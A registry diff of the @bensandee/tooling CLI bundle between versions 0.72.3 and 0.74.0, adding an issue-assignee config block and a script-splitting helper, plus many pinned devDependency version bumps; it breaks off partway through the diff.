@bensandee/tooling 0.72.3 → 0.74.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +12 -6
- package/dist/bin.mjs +1088 -270
- package/package.json +7 -7
- package/tooling.schema.json +15 -0
package/dist/bin.mjs
CHANGED
|
@@ -209,7 +209,8 @@ const PackageJsonSchema = z.looseObject({
|
|
|
209
209
|
engines: StringRecord.optional(),
|
|
210
210
|
devEngines: z.looseObject({ runtime: z.union([DevEngineRuntimeSchema, z.array(DevEngineRuntimeSchema)]).optional() }).optional(),
|
|
211
211
|
repository: z.union([z.string(), z.looseObject({ url: z.string() })]).optional(),
|
|
212
|
-
packageManager: z.string().optional()
|
|
212
|
+
packageManager: z.string().optional(),
|
|
213
|
+
publishConfig: z.unknown().optional()
|
|
213
214
|
});
|
|
214
215
|
const TsconfigSchema = z.looseObject({
|
|
215
216
|
extends: z.union([z.string(), z.array(z.string())]).optional(),
|
|
@@ -1472,6 +1473,7 @@ const BranchPruneConfigSchema = z.strictObject({
|
|
|
1472
1473
|
backupDays: z.number().int().nonnegative().optional().meta({ description: "Days before bst branch:prune deletes an agent/(repair|rebase)-backup/* ref whose parent branch has no merged PR to key on (default 30). Deliberately longer than mergedDays: a backup ref is the only surviving copy of history rebased away from its parent. Zero is valid on purpose, matching the --backup-days CLI flag's contract." }),
|
|
1473
1474
|
exclude: z.array(z.string()).optional().meta({ description: "Branch-name globs added to bst branch:prune's built-in never-touch list (main, changeset-release/*, renovate/*, bst/coverage-metrics, bst/health-metrics, anything with an open PR or protected). Additive only -- there is no key that removes a built-in entry." })
|
|
1474
1475
|
});
|
|
1476
|
+
const IssuesConfigSchema = z.strictObject({ assignees: z.array(z.string().min(1)).optional().meta({ description: "The repo's default reviewer(s) for issues opened by `bst issue:create` -- assigned when the invocation names no --assignee and no --repo. An explicit --assignee replaces this default rather than adding to it; --no-assignee opens an issue deliberately unassigned." }) });
|
|
1475
1477
|
const ChecksConfigSchema = z.strictObject({
|
|
1476
1478
|
add: z.array(z.string()).optional().meta({ description: "Extra package.json scripts to run as first-class check steps, appended to the built-in list (e.g. ['lint:php']). An added step with no matching script is a hard failure." }),
|
|
1477
1479
|
skip: z.array(z.string()).optional().meta({ description: "Check steps to skip, unioned with the built-in CI defaults (never replacing them). Supports glob patterns." })
|
|
@@ -1540,7 +1542,8 @@ const ToolingConfigSchema = z.strictObject({
|
|
|
1540
1542
|
lint: LintConfigSchema.optional().meta({ description: "bst lint:types (the type-aware oxlint gate) overrides. See lint.strictTypeAware." }),
|
|
1541
1543
|
agent: AgentConfigSchema.optional().meta({ description: "agent:start behaviour overrides. Opt-in: see agent.autonomy for the interior-autonomy gate." }),
|
|
1542
1544
|
branchPrune: BranchPruneConfigSchema.optional().meta({ description: "bst branch:prune overrides: mergedDays/backupDays windows, and extra never-touch exclusions layered on top of the hard-coded list." }),
|
|
1543
|
-
labelSets: LabelSetsSchema.optional().meta({ description: "User-defined label sets for `bst forgejo:labels sync --set <name>`, keyed by set name. Read from the repo the command runs in, never from a --repo/--fleet target. A name that collides with a built-in set (e.g. the agent package's own 'agent' set) is a resolution-time error, not a silent override." })
|
|
1545
|
+
labelSets: LabelSetsSchema.optional().meta({ description: "User-defined label sets for `bst forgejo:labels sync --set <name>`, keyed by set name. Read from the repo the command runs in, never from a --repo/--fleet target. A name that collides with a built-in set (e.g. the agent package's own 'agent' set) is a resolution-time error, not a silent override." }),
|
|
1546
|
+
issues: IssuesConfigSchema.optional().meta({ description: "Repo-level issue policy -- currently just the default reviewer(s) `bst issue:create` assigns. The natural home for any future issue-policy key." })
|
|
1544
1547
|
});
|
|
1545
1548
|
/**
|
|
1546
1549
|
* The lenient twin of {@link ToolingConfigSchema}: every declared key, at every nesting level,
|
|
@@ -1556,8 +1559,8 @@ const ToolingConfigSchema = z.strictObject({
|
|
|
1556
1559
|
* root entries carry a `z.strictObject` somewhere in their type and are re-wrapped below through
|
|
1557
1560
|
* {@link tolerantBlock} (or inline for the two wrapped in a `z.literal(false)` union, the array
|
|
1558
1561
|
* element, and the record-of-arrays): `coverage`, `docs`, `health`, `ascii`, `deploy`, `checks`,
|
|
1559
|
-
* `lint`, `agent`, `branchPrune`, `releaseAssets`, `labelSets`. A new `z.strictObject`
|
|
1560
|
-
* not added here stays strict on every operational path -- the drift test in
|
|
1562
|
+
* `lint`, `agent`, `branchPrune`, `releaseAssets`, `labelSets`, `issues`. A new `z.strictObject`
|
|
1563
|
+
* root entry that is not added here stays strict on every operational path -- the drift test in
|
|
1561
1564
|
* `test/tooling-config.test.ts` fails when a root key carrying an object schema is missing from
|
|
1562
1565
|
* its table, which is what catches that instead of a silent gap.
|
|
1563
1566
|
*/
|
|
@@ -1573,7 +1576,8 @@ const TolerantToolingConfigSchema = z.object({
|
|
|
1573
1576
|
agent: tolerantBlock(AgentConfigSchema).optional(),
|
|
1574
1577
|
branchPrune: tolerantBlock(BranchPruneConfigSchema).optional(),
|
|
1575
1578
|
releaseAssets: z.array(tolerantBlock(ReleaseAssetSchema)).optional(),
|
|
1576
|
-
labelSets: z.record(z.string(), z.array(tolerantBlock(LabelSpecSchema))).optional()
|
|
1579
|
+
labelSets: z.record(z.string(), z.array(tolerantBlock(LabelSpecSchema))).optional(),
|
|
1580
|
+
issues: tolerantBlock(IssuesConfigSchema).optional()
|
|
1577
1581
|
});
|
|
1578
1582
|
function readConfigFile(targetDir) {
|
|
1579
1583
|
const fullPath = path.join(targetDir, CONFIG_FILE);
|
|
@@ -1995,7 +1999,7 @@ async function throwForgejoFailure(res, operation, notFoundMessage) {
|
|
|
1995
1999
|
if (res.status === 404) throw new ForgeAccessError(notFoundMessage ?? await forgejoErrorMessage(res, operation));
|
|
1996
2000
|
const message = await forgejoErrorMessage(res, operation);
|
|
1997
2001
|
if (res.status === 401 || res.status === 403) throw new ForgeAccessError(message);
|
|
1998
|
-
if (res.status === 422) throw new FatalError(`${message}\nForgejo rejected this as invalid (422) -- retrying with the same input cannot succeed (e.g. a nonexistent label).`);
|
|
2002
|
+
if (res.status === 422) throw new FatalError(`${message}\nForgejo rejected this as invalid (422) -- retrying with the same input cannot succeed (e.g. a nonexistent label or an assignee the repository will not accept).`);
|
|
1999
2003
|
if (res.status === 410) throw new FatalError(`${message}\nForgejo returned 410 Gone -- issues are likely disabled on this repository; retrying will not help.`);
|
|
2000
2004
|
throw new TransientError(message);
|
|
2001
2005
|
}
|
|
@@ -3614,6 +3618,9 @@ function applyWorkspaceToolingBuild(generated, pkg) {
|
|
|
3614
3618
|
if (spec === void 0 || !spec.startsWith(WORKSPACE_PROTOCOL)) return generated;
|
|
3615
3619
|
return generated.replaceAll(INSTALL_WITHOUT_BUILD_SUFFIX, `pnpm install --frozen-lockfile${DEV_BUILD_SUFFIX}`);
|
|
3616
3620
|
}
|
|
3621
|
+
/** Escape regex metacharacters, so a value is always matched literally. Exported rather than
|
|
3622
|
+
* duplicated: `commands/repo-run-checks.ts`'s `coveredChecksAddEntries` imports this one instead
|
|
3623
|
+
* of forking its own copy. */
|
|
3617
3624
|
function escapeRegex(value) {
|
|
3618
3625
|
return value.replaceAll(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
3619
3626
|
}
|
|
@@ -4067,9 +4074,13 @@ function resolveHealthConfig(targetDir) {
|
|
|
4067
4074
|
* callers can surface a precise diagnosis instead of a confusing downstream
|
|
4068
4075
|
* failure.
|
|
4069
4076
|
*/
|
|
4077
|
+
/** A script's commands, split on `&&`, `||`, `|`, and `;`, each trimmed. */
|
|
4078
|
+
function commandSegments(script) {
|
|
4079
|
+
return script.split(/&&|\|\|?|;/).map((segment) => segment.trim());
|
|
4080
|
+
}
|
|
4070
4081
|
/** The final command of a script, after splitting on `&&`, `||`, `|`, and `;`. */
|
|
4071
4082
|
function lastCommandSegment(script) {
|
|
4072
|
-
return (script
|
|
4083
|
+
return commandSegments(script).at(-1) ?? "";
|
|
4073
4084
|
}
|
|
4074
4085
|
/**
|
|
4075
4086
|
* True when args forwarded to a `check` script would reach `bst checks:run` -- its last command
|
|
@@ -4433,17 +4444,17 @@ function perPackageDevDeps(config) {
|
|
|
4433
4444
|
"@types/node": "24.13.3",
|
|
4434
4445
|
"@vitest/coverage-v8": "4.1.11",
|
|
4435
4446
|
"commit-and-tag-version": "13.1.2",
|
|
4436
|
-
"knip": "6.32.
|
|
4447
|
+
"knip": "6.32.3",
|
|
4437
4448
|
"lefthook": "2.1.10",
|
|
4438
|
-
"oxfmt": "0.
|
|
4439
|
-
"oxlint": "1.
|
|
4449
|
+
"oxfmt": "0.65.0",
|
|
4450
|
+
"oxlint": "1.80.0",
|
|
4440
4451
|
"oxlint-tsgolint": "7.0.2001",
|
|
4441
4452
|
"prettier": "3.9.6",
|
|
4442
4453
|
"release-it": "21.0.2",
|
|
4443
4454
|
"tsdown": "0.22.14",
|
|
4444
4455
|
"typescript": "6.0.3",
|
|
4445
4456
|
"vitest": "4.1.11",
|
|
4446
|
-
"pnpm": "11.
|
|
4457
|
+
"pnpm": "11.24.0"
|
|
4447
4458
|
}["typescript"];
|
|
4448
4459
|
deps["@types/node"] = {
|
|
4449
4460
|
"@changesets/cli": "3.0.1",
|
|
@@ -4451,17 +4462,17 @@ function perPackageDevDeps(config) {
|
|
|
4451
4462
|
"@types/node": "24.13.3",
|
|
4452
4463
|
"@vitest/coverage-v8": "4.1.11",
|
|
4453
4464
|
"commit-and-tag-version": "13.1.2",
|
|
4454
|
-
"knip": "6.32.
|
|
4465
|
+
"knip": "6.32.3",
|
|
4455
4466
|
"lefthook": "2.1.10",
|
|
4456
|
-
"oxfmt": "0.
|
|
4457
|
-
"oxlint": "1.
|
|
4467
|
+
"oxfmt": "0.65.0",
|
|
4468
|
+
"oxlint": "1.80.0",
|
|
4458
4469
|
"oxlint-tsgolint": "7.0.2001",
|
|
4459
4470
|
"prettier": "3.9.6",
|
|
4460
4471
|
"release-it": "21.0.2",
|
|
4461
4472
|
"tsdown": "0.22.14",
|
|
4462
4473
|
"typescript": "6.0.3",
|
|
4463
4474
|
"vitest": "4.1.11",
|
|
4464
|
-
"pnpm": "11.
|
|
4475
|
+
"pnpm": "11.24.0"
|
|
4465
4476
|
}["@types/node"];
|
|
4466
4477
|
}
|
|
4467
4478
|
if (config.builder === "tsdown") deps["tsdown"] = {
|
|
@@ -4470,17 +4481,17 @@ function perPackageDevDeps(config) {
|
|
|
4470
4481
|
"@types/node": "24.13.3",
|
|
4471
4482
|
"@vitest/coverage-v8": "4.1.11",
|
|
4472
4483
|
"commit-and-tag-version": "13.1.2",
|
|
4473
|
-
"knip": "6.32.
|
|
4484
|
+
"knip": "6.32.3",
|
|
4474
4485
|
"lefthook": "2.1.10",
|
|
4475
|
-
"oxfmt": "0.
|
|
4476
|
-
"oxlint": "1.
|
|
4486
|
+
"oxfmt": "0.65.0",
|
|
4487
|
+
"oxlint": "1.80.0",
|
|
4477
4488
|
"oxlint-tsgolint": "7.0.2001",
|
|
4478
4489
|
"prettier": "3.9.6",
|
|
4479
4490
|
"release-it": "21.0.2",
|
|
4480
4491
|
"tsdown": "0.22.14",
|
|
4481
4492
|
"typescript": "6.0.3",
|
|
4482
4493
|
"vitest": "4.1.11",
|
|
4483
|
-
"pnpm": "11.
|
|
4494
|
+
"pnpm": "11.24.0"
|
|
4484
4495
|
}["tsdown"];
|
|
4485
4496
|
return deps;
|
|
4486
4497
|
}
|
|
@@ -4500,17 +4511,17 @@ function vitestDevDeps() {
|
|
|
4500
4511
|
"@types/node": "24.13.3",
|
|
4501
4512
|
"@vitest/coverage-v8": "4.1.11",
|
|
4502
4513
|
"commit-and-tag-version": "13.1.2",
|
|
4503
|
-
"knip": "6.32.
|
|
4514
|
+
"knip": "6.32.3",
|
|
4504
4515
|
"lefthook": "2.1.10",
|
|
4505
|
-
"oxfmt": "0.
|
|
4506
|
-
"oxlint": "1.
|
|
4516
|
+
"oxfmt": "0.65.0",
|
|
4517
|
+
"oxlint": "1.80.0",
|
|
4507
4518
|
"oxlint-tsgolint": "7.0.2001",
|
|
4508
4519
|
"prettier": "3.9.6",
|
|
4509
4520
|
"release-it": "21.0.2",
|
|
4510
4521
|
"tsdown": "0.22.14",
|
|
4511
4522
|
"typescript": "6.0.3",
|
|
4512
4523
|
"vitest": "4.1.11",
|
|
4513
|
-
"pnpm": "11.
|
|
4524
|
+
"pnpm": "11.24.0"
|
|
4514
4525
|
}["vitest"],
|
|
4515
4526
|
"@vitest/coverage-v8": {
|
|
4516
4527
|
"@changesets/cli": "3.0.1",
|
|
@@ -4518,17 +4529,17 @@ function vitestDevDeps() {
|
|
|
4518
4529
|
"@types/node": "24.13.3",
|
|
4519
4530
|
"@vitest/coverage-v8": "4.1.11",
|
|
4520
4531
|
"commit-and-tag-version": "13.1.2",
|
|
4521
|
-
"knip": "6.32.
|
|
4532
|
+
"knip": "6.32.3",
|
|
4522
4533
|
"lefthook": "2.1.10",
|
|
4523
|
-
"oxfmt": "0.
|
|
4524
|
-
"oxlint": "1.
|
|
4534
|
+
"oxfmt": "0.65.0",
|
|
4535
|
+
"oxlint": "1.80.0",
|
|
4525
4536
|
"oxlint-tsgolint": "7.0.2001",
|
|
4526
4537
|
"prettier": "3.9.6",
|
|
4527
4538
|
"release-it": "21.0.2",
|
|
4528
4539
|
"tsdown": "0.22.14",
|
|
4529
4540
|
"typescript": "6.0.3",
|
|
4530
4541
|
"vitest": "4.1.11",
|
|
4531
|
-
"pnpm": "11.
|
|
4542
|
+
"pnpm": "11.24.0"
|
|
4532
4543
|
}["@vitest/coverage-v8"]
|
|
4533
4544
|
};
|
|
4534
4545
|
}
|
|
@@ -4545,17 +4556,17 @@ function rootDevDeps(config) {
|
|
|
4545
4556
|
"@types/node": "24.13.3",
|
|
4546
4557
|
"@vitest/coverage-v8": "4.1.11",
|
|
4547
4558
|
"commit-and-tag-version": "13.1.2",
|
|
4548
|
-
"knip": "6.32.
|
|
4559
|
+
"knip": "6.32.3",
|
|
4549
4560
|
"lefthook": "2.1.10",
|
|
4550
|
-
"oxfmt": "0.
|
|
4551
|
-
"oxlint": "1.
|
|
4561
|
+
"oxfmt": "0.65.0",
|
|
4562
|
+
"oxlint": "1.80.0",
|
|
4552
4563
|
"oxlint-tsgolint": "7.0.2001",
|
|
4553
4564
|
"prettier": "3.9.6",
|
|
4554
4565
|
"release-it": "21.0.2",
|
|
4555
4566
|
"tsdown": "0.22.14",
|
|
4556
4567
|
"typescript": "6.0.3",
|
|
4557
4568
|
"vitest": "4.1.11",
|
|
4558
|
-
"pnpm": "11.
|
|
4569
|
+
"pnpm": "11.24.0"
|
|
4559
4570
|
}["lefthook"] };
|
|
4560
4571
|
if (config.stack !== "none") {
|
|
4561
4572
|
deps["knip"] = {
|
|
@@ -4564,17 +4575,17 @@ function rootDevDeps(config) {
|
|
|
4564
4575
|
"@types/node": "24.13.3",
|
|
4565
4576
|
"@vitest/coverage-v8": "4.1.11",
|
|
4566
4577
|
"commit-and-tag-version": "13.1.2",
|
|
4567
|
-
"knip": "6.32.
|
|
4578
|
+
"knip": "6.32.3",
|
|
4568
4579
|
"lefthook": "2.1.10",
|
|
4569
|
-
"oxfmt": "0.
|
|
4570
|
-
"oxlint": "1.
|
|
4580
|
+
"oxfmt": "0.65.0",
|
|
4581
|
+
"oxlint": "1.80.0",
|
|
4571
4582
|
"oxlint-tsgolint": "7.0.2001",
|
|
4572
4583
|
"prettier": "3.9.6",
|
|
4573
4584
|
"release-it": "21.0.2",
|
|
4574
4585
|
"tsdown": "0.22.14",
|
|
4575
4586
|
"typescript": "6.0.3",
|
|
4576
4587
|
"vitest": "4.1.11",
|
|
4577
|
-
"pnpm": "11.
|
|
4588
|
+
"pnpm": "11.24.0"
|
|
4578
4589
|
}["knip"];
|
|
4579
4590
|
deps["oxlint"] = {
|
|
4580
4591
|
"@changesets/cli": "3.0.1",
|
|
@@ -4582,17 +4593,17 @@ function rootDevDeps(config) {
|
|
|
4582
4593
|
"@types/node": "24.13.3",
|
|
4583
4594
|
"@vitest/coverage-v8": "4.1.11",
|
|
4584
4595
|
"commit-and-tag-version": "13.1.2",
|
|
4585
|
-
"knip": "6.32.
|
|
4596
|
+
"knip": "6.32.3",
|
|
4586
4597
|
"lefthook": "2.1.10",
|
|
4587
|
-
"oxfmt": "0.
|
|
4588
|
-
"oxlint": "1.
|
|
4598
|
+
"oxfmt": "0.65.0",
|
|
4599
|
+
"oxlint": "1.80.0",
|
|
4589
4600
|
"oxlint-tsgolint": "7.0.2001",
|
|
4590
4601
|
"prettier": "3.9.6",
|
|
4591
4602
|
"release-it": "21.0.2",
|
|
4592
4603
|
"tsdown": "0.22.14",
|
|
4593
4604
|
"typescript": "6.0.3",
|
|
4594
4605
|
"vitest": "4.1.11",
|
|
4595
|
-
"pnpm": "11.
|
|
4606
|
+
"pnpm": "11.24.0"
|
|
4596
4607
|
}["oxlint"];
|
|
4597
4608
|
Object.assign(deps, vitestDevDeps());
|
|
4598
4609
|
}
|
|
@@ -4602,17 +4613,17 @@ function rootDevDeps(config) {
|
|
|
4602
4613
|
"@types/node": "24.13.3",
|
|
4603
4614
|
"@vitest/coverage-v8": "4.1.11",
|
|
4604
4615
|
"commit-and-tag-version": "13.1.2",
|
|
4605
|
-
"knip": "6.32.
|
|
4616
|
+
"knip": "6.32.3",
|
|
4606
4617
|
"lefthook": "2.1.10",
|
|
4607
|
-
"oxfmt": "0.
|
|
4608
|
-
"oxlint": "1.
|
|
4618
|
+
"oxfmt": "0.65.0",
|
|
4619
|
+
"oxlint": "1.80.0",
|
|
4609
4620
|
"oxlint-tsgolint": "7.0.2001",
|
|
4610
4621
|
"prettier": "3.9.6",
|
|
4611
4622
|
"release-it": "21.0.2",
|
|
4612
4623
|
"tsdown": "0.22.14",
|
|
4613
4624
|
"typescript": "6.0.3",
|
|
4614
4625
|
"vitest": "4.1.11",
|
|
4615
|
-
"pnpm": "11.
|
|
4626
|
+
"pnpm": "11.24.0"
|
|
4616
4627
|
}["oxlint-tsgolint"];
|
|
4617
4628
|
return deps;
|
|
4618
4629
|
}
|
|
@@ -4646,17 +4657,17 @@ function addReleaseDeps(deps, config) {
|
|
|
4646
4657
|
"@types/node": "24.13.3",
|
|
4647
4658
|
"@vitest/coverage-v8": "4.1.11",
|
|
4648
4659
|
"commit-and-tag-version": "13.1.2",
|
|
4649
|
-
"knip": "6.32.
|
|
4660
|
+
"knip": "6.32.3",
|
|
4650
4661
|
"lefthook": "2.1.10",
|
|
4651
|
-
"oxfmt": "0.
|
|
4652
|
-
"oxlint": "1.
|
|
4662
|
+
"oxfmt": "0.65.0",
|
|
4663
|
+
"oxlint": "1.80.0",
|
|
4653
4664
|
"oxlint-tsgolint": "7.0.2001",
|
|
4654
4665
|
"prettier": "3.9.6",
|
|
4655
4666
|
"release-it": "21.0.2",
|
|
4656
4667
|
"tsdown": "0.22.14",
|
|
4657
4668
|
"typescript": "6.0.3",
|
|
4658
4669
|
"vitest": "4.1.11",
|
|
4659
|
-
"pnpm": "11.
|
|
4670
|
+
"pnpm": "11.24.0"
|
|
4660
4671
|
}["release-it"];
|
|
4661
4672
|
if (config.structure === "monorepo") deps["@release-it/bumper"] = {
|
|
4662
4673
|
"@changesets/cli": "3.0.1",
|
|
@@ -4664,17 +4675,17 @@ function addReleaseDeps(deps, config) {
|
|
|
4664
4675
|
"@types/node": "24.13.3",
|
|
4665
4676
|
"@vitest/coverage-v8": "4.1.11",
|
|
4666
4677
|
"commit-and-tag-version": "13.1.2",
|
|
4667
|
-
"knip": "6.32.
|
|
4678
|
+
"knip": "6.32.3",
|
|
4668
4679
|
"lefthook": "2.1.10",
|
|
4669
|
-
"oxfmt": "0.
|
|
4670
|
-
"oxlint": "1.
|
|
4680
|
+
"oxfmt": "0.65.0",
|
|
4681
|
+
"oxlint": "1.80.0",
|
|
4671
4682
|
"oxlint-tsgolint": "7.0.2001",
|
|
4672
4683
|
"prettier": "3.9.6",
|
|
4673
4684
|
"release-it": "21.0.2",
|
|
4674
4685
|
"tsdown": "0.22.14",
|
|
4675
4686
|
"typescript": "6.0.3",
|
|
4676
4687
|
"vitest": "4.1.11",
|
|
4677
|
-
"pnpm": "11.
|
|
4688
|
+
"pnpm": "11.24.0"
|
|
4678
4689
|
}["@release-it/bumper"];
|
|
4679
4690
|
break;
|
|
4680
4691
|
case "simple":
|
|
@@ -4684,17 +4695,17 @@ function addReleaseDeps(deps, config) {
|
|
|
4684
4695
|
"@types/node": "24.13.3",
|
|
4685
4696
|
"@vitest/coverage-v8": "4.1.11",
|
|
4686
4697
|
"commit-and-tag-version": "13.1.2",
|
|
4687
|
-
"knip": "6.32.
|
|
4698
|
+
"knip": "6.32.3",
|
|
4688
4699
|
"lefthook": "2.1.10",
|
|
4689
|
-
"oxfmt": "0.
|
|
4690
|
-
"oxlint": "1.
|
|
4700
|
+
"oxfmt": "0.65.0",
|
|
4701
|
+
"oxlint": "1.80.0",
|
|
4691
4702
|
"oxlint-tsgolint": "7.0.2001",
|
|
4692
4703
|
"prettier": "3.9.6",
|
|
4693
4704
|
"release-it": "21.0.2",
|
|
4694
4705
|
"tsdown": "0.22.14",
|
|
4695
4706
|
"typescript": "6.0.3",
|
|
4696
4707
|
"vitest": "4.1.11",
|
|
4697
|
-
"pnpm": "11.
|
|
4708
|
+
"pnpm": "11.24.0"
|
|
4698
4709
|
}["commit-and-tag-version"];
|
|
4699
4710
|
break;
|
|
4700
4711
|
case "changesets":
|
|
@@ -4704,17 +4715,17 @@ function addReleaseDeps(deps, config) {
|
|
|
4704
4715
|
"@types/node": "24.13.3",
|
|
4705
4716
|
"@vitest/coverage-v8": "4.1.11",
|
|
4706
4717
|
"commit-and-tag-version": "13.1.2",
|
|
4707
|
-
"knip": "6.32.
|
|
4718
|
+
"knip": "6.32.3",
|
|
4708
4719
|
"lefthook": "2.1.10",
|
|
4709
|
-
"oxfmt": "0.
|
|
4710
|
-
"oxlint": "1.
|
|
4720
|
+
"oxfmt": "0.65.0",
|
|
4721
|
+
"oxlint": "1.80.0",
|
|
4711
4722
|
"oxlint-tsgolint": "7.0.2001",
|
|
4712
4723
|
"prettier": "3.9.6",
|
|
4713
4724
|
"release-it": "21.0.2",
|
|
4714
4725
|
"tsdown": "0.22.14",
|
|
4715
4726
|
"typescript": "6.0.3",
|
|
4716
4727
|
"vitest": "4.1.11",
|
|
4717
|
-
"pnpm": "11.
|
|
4728
|
+
"pnpm": "11.24.0"
|
|
4718
4729
|
}["@changesets/cli"];
|
|
4719
4730
|
break;
|
|
4720
4731
|
}
|
|
@@ -4722,12 +4733,15 @@ function addReleaseDeps(deps, config) {
|
|
|
4722
4733
|
/** Add missing scripts, refresh managed scripts, and drop deprecated ones (mutates `pkg`). */
|
|
4723
4734
|
function mergeManagedScripts(pkg, allScripts, changes) {
|
|
4724
4735
|
const existingScripts = pkg.scripts ?? {};
|
|
4725
|
-
for (const [key, value] of Object.entries(allScripts))
|
|
4726
|
-
existingScripts[
|
|
4727
|
-
|
|
4728
|
-
|
|
4729
|
-
|
|
4730
|
-
|
|
4736
|
+
for (const [key, value] of Object.entries(allScripts)) {
|
|
4737
|
+
if (key === "lint:report" && existingScripts["lint"] !== void 0 && existingScripts["lint"] !== allScripts["lint"]) continue;
|
|
4738
|
+
if (!(key in existingScripts)) {
|
|
4739
|
+
existingScripts[key] = value;
|
|
4740
|
+
changes.push(`added script: ${key}`);
|
|
4741
|
+
} else if (key in MANAGED_SCRIPTS && !matchesManagedScript(existingScripts[key] ?? "", MANAGED_SCRIPTS[key] ?? "")) {
|
|
4742
|
+
existingScripts[key] = value;
|
|
4743
|
+
changes.push(`updated script: ${key}`);
|
|
4744
|
+
}
|
|
4731
4745
|
}
|
|
4732
4746
|
for (const key of DEPRECATED_SCRIPTS) if (key in existingScripts) {
|
|
4733
4747
|
delete existingScripts[key];
|
|
@@ -4910,17 +4924,17 @@ function applyMetadataDefaults(pkg, ctx, changes) {
|
|
|
4910
4924
|
"@types/node": "24.13.3",
|
|
4911
4925
|
"@vitest/coverage-v8": "4.1.11",
|
|
4912
4926
|
"commit-and-tag-version": "13.1.2",
|
|
4913
|
-
"knip": "6.32.
|
|
4927
|
+
"knip": "6.32.3",
|
|
4914
4928
|
"lefthook": "2.1.10",
|
|
4915
|
-
"oxfmt": "0.
|
|
4916
|
-
"oxlint": "1.
|
|
4929
|
+
"oxfmt": "0.65.0",
|
|
4930
|
+
"oxlint": "1.80.0",
|
|
4917
4931
|
"oxlint-tsgolint": "7.0.2001",
|
|
4918
4932
|
"prettier": "3.9.6",
|
|
4919
4933
|
"release-it": "21.0.2",
|
|
4920
4934
|
"tsdown": "0.22.14",
|
|
4921
4935
|
"typescript": "6.0.3",
|
|
4922
4936
|
"vitest": "4.1.11",
|
|
4923
|
-
"pnpm": "11.
|
|
4937
|
+
"pnpm": "11.24.0"
|
|
4924
4938
|
}["pnpm"];
|
|
4925
4939
|
const desiredPm = pinnedPnpm ? `pnpm@${pinnedPnpm}` : void 0;
|
|
4926
4940
|
if (desiredPm) {
|
|
@@ -4960,26 +4974,26 @@ function buildManagedDevDeps(ctx) {
|
|
|
4960
4974
|
const isMonorepo = ctx.config.structure === "monorepo";
|
|
4961
4975
|
const devDeps = { ...rootDevDeps(ctx.config) };
|
|
4962
4976
|
if (!isMonorepo) Object.assign(devDeps, perPackageDevDeps(ctx.config));
|
|
4963
|
-
if (ctx.config.stack !== "none" || ctx.config.ci === "forgejo") devDeps["@bensandee/config"] = isWorkspacePackage(ctx, "@bensandee/config") ? "workspace:*" : "0.14.
|
|
4964
|
-
if (!isWorkspacePackage(ctx, "@bensandee/tooling")) devDeps["@bensandee/tooling"] = "0.
|
|
4965
|
-
if (ctx.config.useEslintPlugin && ctx.config.stack !== "none") devDeps["@bensandee/eslint-plugin"] = isWorkspacePackage(ctx, "@bensandee/eslint-plugin") ? "workspace:*" : "0.
|
|
4977
|
+
if (ctx.config.stack !== "none" || ctx.config.ci === "forgejo") devDeps["@bensandee/config"] = isWorkspacePackage(ctx, "@bensandee/config") ? "workspace:*" : "0.14.2";
|
|
4978
|
+
if (!isWorkspacePackage(ctx, "@bensandee/tooling")) devDeps["@bensandee/tooling"] = "0.74.0";
|
|
4979
|
+
if (ctx.config.useEslintPlugin && ctx.config.stack !== "none") devDeps["@bensandee/eslint-plugin"] = isWorkspacePackage(ctx, "@bensandee/eslint-plugin") ? "workspace:*" : "0.14.1";
|
|
4966
4980
|
if (ctx.config.formatter === "oxfmt") devDeps["oxfmt"] = {
|
|
4967
4981
|
"@changesets/cli": "3.0.1",
|
|
4968
4982
|
"@release-it/bumper": "8.0.0",
|
|
4969
4983
|
"@types/node": "24.13.3",
|
|
4970
4984
|
"@vitest/coverage-v8": "4.1.11",
|
|
4971
4985
|
"commit-and-tag-version": "13.1.2",
|
|
4972
|
-
"knip": "6.32.
|
|
4986
|
+
"knip": "6.32.3",
|
|
4973
4987
|
"lefthook": "2.1.10",
|
|
4974
|
-
"oxfmt": "0.
|
|
4975
|
-
"oxlint": "1.
|
|
4988
|
+
"oxfmt": "0.65.0",
|
|
4989
|
+
"oxlint": "1.80.0",
|
|
4976
4990
|
"oxlint-tsgolint": "7.0.2001",
|
|
4977
4991
|
"prettier": "3.9.6",
|
|
4978
4992
|
"release-it": "21.0.2",
|
|
4979
4993
|
"tsdown": "0.22.14",
|
|
4980
4994
|
"typescript": "6.0.3",
|
|
4981
4995
|
"vitest": "4.1.11",
|
|
4982
|
-
"pnpm": "11.
|
|
4996
|
+
"pnpm": "11.24.0"
|
|
4983
4997
|
}["oxfmt"];
|
|
4984
4998
|
if (ctx.config.formatter === "prettier") devDeps["prettier"] = {
|
|
4985
4999
|
"@changesets/cli": "3.0.1",
|
|
@@ -4987,17 +5001,17 @@ function buildManagedDevDeps(ctx) {
|
|
|
4987
5001
|
"@types/node": "24.13.3",
|
|
4988
5002
|
"@vitest/coverage-v8": "4.1.11",
|
|
4989
5003
|
"commit-and-tag-version": "13.1.2",
|
|
4990
|
-
"knip": "6.32.
|
|
5004
|
+
"knip": "6.32.3",
|
|
4991
5005
|
"lefthook": "2.1.10",
|
|
4992
|
-
"oxfmt": "0.
|
|
4993
|
-
"oxlint": "1.
|
|
5006
|
+
"oxfmt": "0.65.0",
|
|
5007
|
+
"oxlint": "1.80.0",
|
|
4994
5008
|
"oxlint-tsgolint": "7.0.2001",
|
|
4995
5009
|
"prettier": "3.9.6",
|
|
4996
5010
|
"release-it": "21.0.2",
|
|
4997
5011
|
"tsdown": "0.22.14",
|
|
4998
5012
|
"typescript": "6.0.3",
|
|
4999
5013
|
"vitest": "4.1.11",
|
|
5000
|
-
"pnpm": "11.
|
|
5014
|
+
"pnpm": "11.24.0"
|
|
5001
5015
|
}["prettier"];
|
|
5002
5016
|
addReleaseDeps(devDeps, ctx.config);
|
|
5003
5017
|
return devDeps;
|
|
@@ -5057,17 +5071,17 @@ async function generatePackageJson(ctx) {
|
|
|
5057
5071
|
"@types/node": "24.13.3",
|
|
5058
5072
|
"@vitest/coverage-v8": "4.1.11",
|
|
5059
5073
|
"commit-and-tag-version": "13.1.2",
|
|
5060
|
-
"knip": "6.32.
|
|
5074
|
+
"knip": "6.32.3",
|
|
5061
5075
|
"lefthook": "2.1.10",
|
|
5062
|
-
"oxfmt": "0.
|
|
5063
|
-
"oxlint": "1.
|
|
5076
|
+
"oxfmt": "0.65.0",
|
|
5077
|
+
"oxlint": "1.80.0",
|
|
5064
5078
|
"oxlint-tsgolint": "7.0.2001",
|
|
5065
5079
|
"prettier": "3.9.6",
|
|
5066
5080
|
"release-it": "21.0.2",
|
|
5067
5081
|
